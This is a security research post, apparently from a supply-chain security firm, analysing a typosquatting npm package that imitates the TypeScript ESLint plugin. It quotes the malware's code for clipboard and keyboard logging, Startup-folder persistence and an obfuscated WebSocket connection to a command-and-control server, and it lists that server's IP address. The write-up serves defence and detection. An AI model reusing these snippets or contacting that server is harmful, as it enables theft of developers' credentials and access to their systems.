Malicious npm Package Typosquats Popular TypeScript ESLint P…


### #TyposquattingThreats #OpenSourceExploitation #DeveloperSecurity

Summary: This analysis delves into a malicious npm package that exploited typosquatting to compromise developer environments, specifically targeting users of the popular @typescript-eslint/eslint-plugin. The attack not only infiltrated systems but also raised significant concerns about trust in the open source ecosystem.

Threat Actor: Unknown | unknown
Victim: Developers | developers

Key Point :

  • The malicious package @typescript_eslinter/eslint mimicked the legitimate @typescript-eslint/eslint-plugin, targeting developers through subtle name changes.
  • Attackers utilized clipboard monitoring, global keyboard logging, and real-time command execution via a WebSocket server to exfiltrate sensitive data.
  • The secondary payload, @typescript_eslinter/prettier, remains active on npm, highlighting the ongoing risk to developers.
  • The attack undermines trust in open source tools, emphasizing the need for effective typosquatting detection mechanisms.
  • Indicators of compromise include the malicious npm packages and a command-and-control server hosted in Finland.

Weaponizing trust in the open source ecosystem is the bread and butter of threat actors who leverage typosquatting to infiltrate development environments and gain unauthorized access. In this research post we’re breaking down a malicious npm package targeting developers attempting to install the popular @typescript-eslint/eslint-plugin package, an ESLint plugin specifically for TypeScript code.

The malicious package, @typescript_eslinter/eslint, differs from the legitimate package name by just a few subtle changes. Developers may accidentally install the plugin thinking they were getting type-aware linting and code style enforcement but instead have their systems compromised.

In this post we will dissect the malicious package’s functionality and its connection to a live secondary payload:

  • By leveraging typosquatting and chaining malicious packages, the attackers compromised development environments, exposing sensitive data like API keys, credentials, and configuration files.
  • A WebSocket server enabled real-time exploitation, allowing the attackers to exfiltrate data and execute commands dynamically on affected systems.
  • The presence of a secondary payload, @typescript_eslinter/prettier, which remains live on npm, underscores the persistent nature of this threat.
  • Beyond the immediate technical risks, the attack also erodes trust in open source repositories, undermining confidence in the tools developers rely on daily.
  • It performs clipboard monitoring, global keyboard logging (on Windows), and remote shell command execution via WebSocket. It copies itself to the startup folder for persistence and periodically sends collected data to a remote server. It supports cross-platform functionality (Windows, Linux, macOS)

The Target: @typescript-eslint/eslint-plugin#

The legitimate @typescript-eslint/eslint-plugin is a cornerstone of TypeScript development. It integrates seamlessly with ESLint, enabling developers to enforce coding standards and prevent bugs in TypeScript projects. Its popularity is immense:

  • 3+ million weekly downloads.
  • 15,000+ stars on GitHub.
  • Used extensively in production environments and CI/CD pipelines.

Such widespread usage made it an ideal target for typosquatting, a technique where attackers create malicious packages with names similar to legitimate ones to deceive developers.

The Malicious Package: @typescript_eslinter/eslint#

On November 17th, a malicious package named @typescript_eslinter/eslint was published on npm. This package mimicked the legitimate @typescript-eslint/eslint-plugin, targeting developers who might mistype or misread the package name. It released 43 versions within two weeks—a tactic likely aimed at evading detection by automated tools. The package was eventually removed on December 1, but not before it executed a sophisticated attack chain.

The Secondary Payload: @typescript_eslinter/prettier#

In addition to @typescript_eslinter/eslint, the attackers also published another malicious package, @typescript_eslinter/prettier, which acts as a secondary payload. This package remains live on npm and is designed to spread and enhance the malicious functionality of the primary package.

Breaking Down the Malicious Functionality#

1. Clipboard and Keyboard Monitoring

The malicious package uses the clipboard-event package to monitor clipboard activity and logs any changes:

const minimizerListener = require("clipboard-event");

minimizerListener.startListening();
minimizerListener.on("change", async () => {
  const change = await getMinimizer();
  pendingData.minimizer += "," + change;
});

It also employs the node-global-key-listener package to monitor global keyboard inputs:

const { GlobalKeyboardListener } = require("node-global-key-listener");

const v = new GlobalKeyboardListener();
v.addListener(function (e, down) {
  if (e.state === "DOWN" && !e?.name?.includes("MOUSE")) {
    pendingData.fuzzer += "," + e.name;
  }
});

Purpose:

  • Records sensitive information like passwords, API keys, and other credentials from clipboard or keyboard inputs.
  • Compromises developer systems without their knowledge.

2. Establishing Persistence

The script ensures its persistent execution by copying a .bat file (prettier.bat) to the Windows Startup folder:

const prettierExtracter = () => {
  try {
    const sourceFile = path.join(__dirname, "tools", "prettier.bat");
    const appDataPath = path.join(os.homedir(), "AppData", "Roaming");
    const startupPath = path.join(
      appDataPath,
      "Microsoft",
      "Windows",
      "Start Menu",
      "Programs",
      "Startup"
    );
    const destinationFile = path.join(startupPath, "prettier.bat");
    fs.copyFileSync(sourceFile, destinationFile);
  } catch (err) {}
};

Purpose:

  • Ensures the malicious code runs every time the system restarts.
  • Embeds itself deeply into the system.

3. Real-Time Communication with Command-and-Control Server

Reversing strings and Base64 encoding is a common evasion technique used in malicious scripts to hide sensitive data like URLs or IPs. The string is first reversed, encoded in Base64, and then dynamically decoded at runtime. This obfuscation evades static analysis, hides malicious intent in the raw script, and ensures that critical data (e.g., command-and-control servers) remain concealed until execution, making detection more challenging for both automated tools and manual inspection.

const { io } = require("socket.io-client");

const SERVER_URL = decode("==QM1ATN6QTNy4iNyIjLxgTMuUzMx8yL6M3d");
const socket = io(SERVER_URL, {
  reconnection: true,
  reconnectionAttempts: Infinity,
  reconnectionDelay: 1000,
  reconnectionDelayMax: 5000,
  timeout: 20000,
});

The package establishes a WebSocket connection with a remote server, ws://135.181.226.254:5051, hosted in Finland by Hetzner Online GmbH.

Purpose:

  • Exfiltrates sensitive data, such as clipboard contents, environment variables, and credentials.
  • Executes commands dynamically on compromised systems, enabling further exploitation.

4. Disabling Legitimate Tools

The package disables legitimate tools like ESLint, ensuring no interference with its malicious operations:

function deleteEslinter() {
  return new Promise((resolve, reject) => {
    t("pm2 delete eslinter", (error, stdout, stderr) => {
      error
        ? reject(`Error deleting Eslinter: ${stderr}`)
        : resolve(stdout);
    });
  });
}

Purpose:

  • Prevents developers from using legitimate linting tools.
  • Replaces trusted processes with malicious ones.

The impact of this attack is far-reaching and multifaceted. Developers unknowingly introduced malicious code into their workflows, putting sensitive project data and credentials at significant risk. Through a WebSocket connection, attackers gained the ability to dynamically issue commands, steal data, and execute additional payloads in real time.

The attack’s potential reach was amplified by the widespread use of @typescript-eslint/eslint-plugin, leaving countless systems vulnerable. Adding to the concern, the secondary malicious package, @typescript_eslinter/prettier, remains live on npm, continuing to pose a persistent threat to developers and projects. The IP address 135.181.226.254 is associated with Hetzner Online GmbH, a German-based hosting service provider. This server is located in Finland, specifically in the Tuusula data center.

Conclusion

The malicious package @typescript_eslinter/eslint is another example of attackers exploiting open source ecosystems, leveraging typosquatting and sophisticated payload chains. While the primary package has been removed from npm, its secondary payload @typescript_eslinter/prettier remains live, posing a continued threat. This attack demonstrates the importance of having typosquatting detection in place, which is available in the free Socket for GitHub app and our Safe npm CLI tool. These tools block open source supply chain attacks and flag 60+ other indicators of supply chain risk and code quality issues.

Indicators of Compromise (IOC) #

Malicious npm Packages:

@typescript_eslinter/eslint (Removed from npm)

@typescript_eslinter/prettier (Still live on npm at time of analysis)

Command-and-Control (C2) Infrastructure:

IP Address: 135[.]181[.]226[.]254

WebSocket Server: ws://135[.]181[.]226[.]254:5051

Files and Artifacts:

prettier.bat file copied into the Windows Startup folder for persistence.

Socket Research Team

Dhanesh Dodia

Sambarathi Sai

Dwijay Chintakunta

Source: https://socket.dev/blog/malicious-npm-package-typosquats-popular-typescript-eslint-plugin